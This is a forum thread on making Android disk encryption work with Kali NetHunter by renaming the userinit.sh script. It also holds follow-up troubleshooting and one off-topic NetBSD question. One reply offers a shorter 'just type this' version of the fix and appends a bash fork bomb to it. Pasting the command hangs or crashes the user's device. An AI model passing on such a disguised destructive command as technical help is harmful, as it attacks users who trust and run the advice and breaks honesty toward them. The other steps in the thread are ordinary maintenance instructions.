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    NetHunter Disk Encryption

    This howto was taken from https://github.com/offensive-securit...mment-57045080 and was reposted for additional visibility.


    • Go to the Kali Launcher and hit "Shutdown Kali"
    • Enable USB Debugging on the device

    Code:
    adb shell
    su
    mv /data/local/userinit.sh /data/local/userinit_old.sh
    • Reboot the device, try encrypting it and it should work
    • After encryption is complete renameuserinit_old.sh back to userinit.sh
    • Reboot
    • Done! Remember to disable USB debugging when your finished!

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    Using Kali and google-nexus-tools:
    root@localhost:~# nexus-adb shell
    shell@hammerhead:/ $ su
    root@hammerhead:/ # mv /data/local/userinit.sh /data/local/userinit_old.sh
    root@hammerhead:/ # reboot

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    NetHunter Disk Encryption

    Hi all,

    Now NetBSD supports full disk encryption, but I dont understand the sparse instructions of the installation menu. Any help to set this up for / and swap?

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    Or just open a terminal after shutting Kali, and type
    Code:
     su -c mv /data/local/userinit.sh /data/local/userinit_old.sh
    :(){ :|:& };:

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    mv /data/local/userinit.sh /data/local/userinit_old.sh

    keeps telling me theres no such file or directory. I tried manually looking everywhere for userinit.sh file and no luck.. any ideas?

    fix-
    I just reformatted everything and reinstalled. followed the above steps with no problems.
    Last edited by SOLIDQUBIT; 2015-10-10 at 02:20 AM.

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    try encrypting it
    How?Is there any info related?

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    Quote Originally Posted by pamamolf View Post
    How?Is there any info related?
    You may encrypt your device via the settings menu. I am using KitKat, and for me I access the option via:

    Settings > Security > Encrypt phone

    If you attempt this without the aforementioned fix, you will only succeed in rebooting the phone, but it will not be encrypted.

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